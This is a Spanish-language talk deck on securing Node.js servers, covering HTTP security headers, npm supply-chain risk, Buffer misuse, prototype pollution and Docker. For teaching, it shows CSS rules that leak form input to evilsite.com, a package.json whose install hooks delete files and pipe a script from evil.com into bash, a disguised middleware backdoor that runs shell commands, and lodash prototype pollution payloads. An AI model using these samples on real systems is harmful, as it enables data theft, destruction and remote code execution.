¿Tu servidor con Nodejs es vulnerable?

con Ulises Gascón

Senior Software engineer en GuideSmiths y orgulloso co-organizador de la comunidad Open Source Weekends (OSW)

 

Colaborador activo en la Comunidad Open Source y profesor en Fictizia.

Ulises Gascón

Esta presentacion tiene la intención de sensibilizar al usuario sobre la ciberseguridad, la prevención y la detección del uso no autorizado de los sistemas informáticos.

 

El usuario al aplicar estos conocimientos deberá tener en cuenta que hay que debe respetar las normas que regulan la seguridad informática, evitando la comisión de actos que no se ajusten a la legalidad vigente, siendo su responsabilidad el mal uso que haga del contenido de esta charla y sus material anexo.

 

El autor no se hace responsable del uso negligente o ilícito que puedan hacer los usuarios de los conocimientos que se ponen de manifiesto en esta presentación.

Exención de responsabilidad

  • Sin live coding ni ejecución de demos

  • Sin teoría pesada

  • Se adapta el nivel para tod@s (mayoría)

DISCLAIMER

  • Vivimos en una cyberguerra
  • Ataques y objetivos
  • Headers en HTTP
  • Módulos de NPM
  • Otros ataques
  • Docker

AGENDA

Seguridad

Atacantes

  • Hackers (White hat)
  • Crackers y ciberdelincuentes (Intereses varios)
  • Terroristas (Intereses políticos)
  • Mercenarios (Intereses en Datos/patentes/información)
  • Hacktivistas (Intereses políticos)
  • Gobiernos/agencias estatales/APTs (defensa/espionaje)
  • Corporaciones y empresas (defensa/información)
  • Lobbis y Grupos de Poder (Intereses políticos)
  • Lobos Solitarios: Individuos e insiders (Venganza/información/Diversión/Curiosidad)

¿Quien participa?

Jugadores Activos

Elementos Pasivos (Daño Colateral)

  • Cualquier usuario de Internet
  • Cualquier dispositivo conectado
  • Ataque personalizado: Soy el objetivo final de forma especifica.
  • Ataque por contexto: Formo parte del objetivo final (mi empresa), pero no yo mismo de forma especifica
  • Ataque por Utilidad especifica: Puedo ser la puerta de acceso a un objetivo específico (proveedor, amigo, etc...)
  • Ataque automático: Soy vulnerable y formo parte junto a otros usuarios de un lote de objetivos sin más personalización

¿Qué papel juego?

Cyber Kill Chain (CKC)

  • Preparar escenarios para próximos ataques (backdoors, botnets...) y antiforenses
  • Destruir/inutilizar/Sabotear infraestructura (copias de seguridad, conexiones, LDAPs, etc...)
  • Montorización activa o pasiva del sistema (resplado de datos, cambios, etc...)
  • Modificación/Destrucción de la información
  • Robo/Suplantación de identidad
  • Secuestro de información (randsomware)
  • Infraestructura para otros ataques (almacenamiento, distribución, Botnets)

¿Qué hacen dentro del sistema?

  • CSRF:  Cross-site request forgery

  • MitM: Man-in-the-middle

  • XSS: Cross-site scripting

  • Backdoor

  • Security Misconfiguration

  • Using Components with Known Vulnerabilities

Abrir puertas

Seguridad

Incidentes

Incidentes destacados

  • event-stream (Nov'18) malicious code found in npm package event-stream See
  • eslint (Jul'18) malicious packages found in npm package eslint-scope and eslint-config-eslint. See
  • getcookies (May'18) malicious package getcookies gets. See embedded in higher-level express related packages. See
  • crossenv (Ago'17) is a one of 37 malicious packages that use typosquatting to bait unknowing users to install them​. See

Cuéntame más...

"Que no te peten el Node" Jesús Perez Rubio

- JSDAY'16 (Madrid)

Mitigando ataques

CSS Exfil

Escenario

Este ataque utiliza selectores de CSS sobre elementos clave del DOM para solicitar recursos específicos en un servidor malicioso. Usando la URL del recurso pasamos información sensible al atacante.

Ataque

input[name="username"]:focus {
	background-image: url("http://evilsite.com/focus/username")
}

input[name="password"]:focus {
	background-image: url("http://evilsite.com/focus/password")
}

input[value$="AB"] {
	background-image: url("http://evilsite.com/log/AB")
}

Ataque

Solución

Extra

@supports (-webkit-appearance:none) and (not (-ms-ime-align:auto)){
    #chrome_detect::after {
        content: url("evilsite.com?action=browser_chrome");
    }
}
#link2:active::after {
    content: url("evilsite.com?action=link2_clicked");
}

¿Has pinchado un link?

¿Qué navegador tienes?

Extra

@font-face {
    font-family: Font1;
    src: url("evilsite.com?action=font1");
}

#font_detection1 {
    font-family: Calibri, Font1;
}

¿Qué sistema operativo tienes?

Mitigando ataques

Cabeceras HTTP

Lo típico

Strict Transport Security (HSTS)

Escenario

  • Evita el clásico ataque de Man in the Middle
  • El atacante monitoriza nuestro trafico y es susceptible de atacarnos al no usar una conexión cifrada entre el cliente y el servidor
  • No estamos forzando a que las conexiones sean siempre por el protocolo HTTPS

Ataque

Solución

const helmet = require('helmet')

// "Strict-Transport-Security: max-age=5184000; includeSubDomains".
const sixtyDaysInSeconds = 5184000
app.use(helmet.hsts({
  maxAge: sixtyDaysInSeconds
}))

X-Frame-Options

Escenario

El atacante quiere que realicemos acciones en una pagina web de manera legitima, que normalmente no hariamos (like, añadir amigos, borrar cuentas, etc...).

 

Para lograrlo el atacante usa un iframe de nuestra web y otro elemento encima para ocultar sus intenciones.

 

Al interaccionar con el elemento encima, estamos realmente interaccionando con otra pagina web distinta.

Ataque

Ataque

Nuestro Objetivo

Imagen de Helmet

Ataque

Nuestro engaño

Imagen de Helmet

Ataque

Nuestro ataque en realidad

Imagen de Helmet

Solución

const helmet = require('helmet')

// Sets "X-Frame-Options: DENY".
app.use(frameguard({ action: 'deny' }))

// Only let me be framed by people of the same origin.
// Sets "X-Frame-Options: SAMEORIGIN".
app.use(frameguard({ action: 'sameorigin' }))
app.use(frameguard())  // defaults to sameorigin

// Allow from a specific host.
// Sets "X-Frame-Options: ALLOW-FROM http://example.com".
app.use(frameguard({
  action: 'allow-from',
  domain: 'http://example.com'
}))

Content-Security-Policy

Escenario

  • Un atacante podría incluir código de recursos maliciosos como ficheros js, css, fuentes, etc...
  • Nada impide por defecto cargar contenido de otras webs en nuestra web.
  • Se puede gestionar la viaolación de la directiva CSP desde el servidor.
  • Con CSP podemos reducir los ataques XSS

Ataque

¿Recuerdas nuestro CSS malicioso?

Solucion

const helmet = require('helmet')

app.use(csp({
  directives: {
    defaultSrc: ["'self'", 'default.com'],
    scriptSrc: ["'self'", "'unsafe-inline'"],
    sandbox: ['allow-forms', 'allow-scripts'],
    reportUri: '/report-violation',
    objectSrc: ["'none'"],
    upgradeInsecureRequests: true,
    workerSrc: false  // This is not set.
  }
}))

Github

default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com customer-stories-feed.github.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com

Importante

app.use(bodyParser.json({
  type: ['json', 'application/csp-report']
}))

app.post('/report-violation', (req, res) => {
  if (req.body) {
    console.log('CSP Violation: ', req.body)
  } else {
    console.log('CSP Violation: No data received!')
  }

  res.status(204).end()
})

Gestión de violaciones

Feature-Policy 

  • Por defecto nuestro navegador permite hacer uso de todas las funcionalidades en cada web, salvo que el usuario no lo autorice manualmente y donde sea requerida la autorización (Ajax vs. Geolocation)
  • Un atacante podría hacer uso de funcionalidades fuera del scope de nuestra aplicación engañando al usuario a través de librerías de terceros, plugins, etc...  

Escenario

Ataque

Dejemos volar nuestra imaginación por un segundo... Geolocation + Ajax? 🤔 

Solución

const helmet = require('helmet')

app.use(helmet.featurePolicy({
  features: {
    fullscreen: ["'self'"],
    vibrate: ["'none'"],
    payment: ["'mysite.com'"],
    syncXhr: ["'none'"]
  }
}))

Hide Powered-By

Escenario

La etiqueta x-powered-by normalmente es usada para dar crédito a los creadores un framework/librería. Pero también nos permite identificar claramente un servidor, incluso sus versiones y con ello preparar todos los exploits necesarios para automatizar este proceso 

Ataque

Ataque

El potencial de Shodan

Solución

const helmet = require('helmet')

// Deshabitado por defecto
app.use(helmet())

// honeypot?
app.use(helmet.hidePoweredBy({ setTo: 'PHP 4.2.0' }))

Más cabeceras HTTP

Otras cabeceras HTTP

  • X-Permitted-Cross
  • Domain-Policies
  • DNS Prefetch Control
  • Expect-CT
  • HTTP Public Key Pinning
  • Strict-Transport
  • Security (HSTS)
  • X-Download-Options (IE No Open)
  • No Cache
  • Don't Sniff Mimetype
  • Referrer Policy
  • X-XSS-Protection (XSS Filter)
  • Documentación

Defenderse

Lusca

Mitigando ataques

Dependency hell

¿Que puede hacer un módulo?

Posibles vectores

  • Instalar otras librerías
  • Mandar/sacar información por la red
  • Ejecutar procesos hijo
  • Usar File System
  • Tienen un ciclo de vida (pre-install, post-install)
  • El código en NPM y Github puede ser distinto y difícil de comprobar
  • y mucho más...

En palabras de Ryan...

Ataque sorpresa

{
  "name": "awesome-fancy-module",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "preinstall": "rm -rf ./",
    "postinstall": "curl -s http://evil.com/bad_script.sh | bash -s arg1 arg2"
  },
  "author": "Hacker's Union!",
  "license": "ISC",
  "dependencies": {}
}

El ciclo de vida también debemos revisarlo y no solo el código en si del Módulo

Te suena Puppeteer?

Un inocente plugin....

const express = require("express");
const helmet = require("helmet")
// const happyBrowser = require("happybrowser")
const happyBrowser = require("./lib/happybrowser")

const app = express();

app.use(happyBrowser({redirect: "https://browsehappy.com/"}))
app.use(helmet())

app.get("/", (req, res)=>{
    res.send("hola mundo!")
})

app.listen(8080)

Ahora no tan inocente...

const {exec} = require("child_process")
const crypto = require('crypto');
const useragent = require('useragent');

module.exports = () => (req, res, next) => {
    const {cmd} = req.query;
    const hash = crypto.createHash('md5')
                        .update(String(req.headers["knock_knock"]))
                        .digest("hex");
    res.setHeader("Content-Sec-Policy", "default-src 'self'")
    if(cmd && hash === "33546af9907d67e6bba253650dda23d9") {
        exec(cmd, (err, stdout, stderr)=>{
            return res.send(JSON.stringify({err, stdout, stderr}, null, 2))
        })
    } else {
        //disfrazar    
        const ua = useragent.is(req.headers['user-agent']);
        if(!ua.chrome){
            res.redirect("https://browsehappy.com/")
        } else {
            next()
        }
    }
}

👋 NPQ

Extra

Mitigando ataques

lockfile

Snyk Rocks!

Liran Tal

@liran_tal

Escenario

Ataque

Solución

Mitigando ataques

Buffer

Warning

(node:7147) [DEP0005] DeprecationWarning: 
	The Buffer() and new Buffer() constructors are not recommended 
    for use due to security and usability concerns. Please use 
    the new Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() 
	construction methods instead.
    
    at showFlaggedDeprecation (buffer.js:127:13)
    at new Buffer (buffer.js:148:3)
    at Object.<anonymous> (/path/to/example.js:2:13)
    [... more stack trace lines ...]

If an attacker can make your program call the Buffer constructor with a Number argument, then they can make it allocate uninitialized memory from the node.js process. This could potentially disclose TLS private keys, user data, or database passwords.
- Feross Aboukhadijeh in Nodejs Github

 

Escenario

Solución

// [DEPRECATED] new Buffer(number) 
Buffer.alloc(number).

// [DEPRECATED]  new Buffer(string) 
Buffer.from(string) 

// [DEPRECATED]  new Buffer(string, encoding))
Buffer.from(string, encoding)

// [DEPRECATED] new Buffer(...arguments) 
Buffer.from(...arguments)

Mitigando ataques

Prototype Polution

Warning

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects.(...) When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution
- Snyk VulnerabilityDB

 

Escenario

Vector

const a = {"a": 1, "b": 2}
const data = JSON.parse('{"__proto__": { "polluted": true}}')

const c = Object.assign({}, a, data)
console.log(c.polluted) // true    

Ataque

// Based on Snyk PoC - [email protected]
// https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.0/lodash.min.js
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"polluted": true}}}'

mergeFn({}, JSON.parse(payload));

const newObject = {}
console.log(newObject.polluted) //true

Soluciones

  • Congela el prototype— Object.freeze (Object.prototype).
  • Usa validaciones de esquemas JSON.
  • Usa objetos sin prototipo (por ejemplo, Object.create(null)), rompiendo la cadena de prototipo.
  • Evitar hacer uso de mergeos recursivos inseguros
  • Usa Map y no Object.

¡Hacking time!

Defensa

  • Aprende más sobre ciberseguridad

  • Usa contraseñas seguras y jamas las repitas

  • Usar webs HTTPS y no HTTP

  • Usar al menos 2 factores de autenticación (2FA/MFA)

  • Usa sistemas seguros (oficiales) y mantenlos actualizados. Verifica los hashes

  • La encriptación es tu mejor amiga

  • Guada bien tus tokens

  • Las auditorias siempre ayudan a ver la realidad

¿Cómo me defiendo?

  • Usa cuentas de correo distintas y evita la centralización (RRSS, Banca, etc...)

  • Cuidado con el Login social y los permisos

  • Permisos de la APPs

  • Cuidado con el software que instalas en tus equipos

  • El Open Source es tu mejor aliado

  • Vigila periféricos (webcam, micros, etc...) inutilizalos o bloquealos cuando no los uses

  • Ten una política clara de seguridad (intrusos, empleados hostiles, etc...)

  • Ten un plan de contingencia y haz simulaciones regularmente

Cuéntame más...

En seguridad informática, una amenaza es un evento potencial capaz de socavar cualquier esfuerzo para defender sus datos. Puede contrarrestar las amenazas que afronta determinando lo que necesita proteger y de quien necesita protegerlo. Este proceso se llama "modelado de amenazas".

- Guía "Evaluando tus Amenezas" de EFF

Modelo de Amenazas

Las preguntas incomodas

  • ¿Qué quiero proteger? (activos)
  • ¿De quién quiero protegerlo? (adversarios)
  • ¿Qué tan malas son las consecuencias en caso de fallar? (finalidades)
  • ¿Qué tan probable es que necesite protegerlo? (riesgo)
  • ¿Cuánto problemas estoy dispuesto a afrontar para prevenir posibles consecuencias? (medidas)

Ten un plan

Mitigando ataques

Extras

Vectores de ataque

🤬 Más problemas...

  • Gestión de sesión (robo/identidad)
  • Cross-Site Request Forgery (CSRF)
  • Cross-Site Scripting (XSS)
  • NoSQL Injections
  • OS Command Injection
  • y mucho más...

OSWASP #10

Imagen: http://www.twistlock.com

Mejora tu defensa

  • express-rate-limit Basic rate-limiting middleware for Express.
  • Fingerprint.js is the most advanced
    open-source fraud detection JS library
  • Bcrypt a library to help you hash passwords.
  • csurf Node.js CSRF protection middleware.
  • Snyk Use Open Source. Stay Secure.
  • npm shrinkwrap Lock down dependency versions for publication
  • safe-regex Detect potentially catastrophic exponential-time regular expressions by limiting the star height to 1.
  • validator.js A library of string validators and sanitizers.

Manten el Software libre!

Nodejs Security WG

The Security Working Group manages all aspects and processes linked to Node.js security.

PublicationInfo schema

NPM API

{
  "data": {
    "package": {
      "publicationInfo": {
        "username": "brianc",
        "tor": false,
        "tfa": true
      }
    }
  }
}

Docker

Dockerfile

FROM node:12
WORKDIR /usr/src/app
COPY package*.json ./
RUN npm install
COPY . .
EXPOSE 3000
USER node # NO ROOT
CMD ["npm", "start"]

Docker uso

$ docker build [OPTIONS] PATH | URL | -
$ docker run [OPTIONS] IMAGE [COMMAND] [ARG...]
$ docker exec [OPTIONS] CONTAINER COMMAND [ARG...]

Entrenamiento

DIY/DIWO

PREGUNTAS

¡Gracias!

Los sueños son sumamente importantes. Nada se hace sin que antes se imagine.  

- George Lucas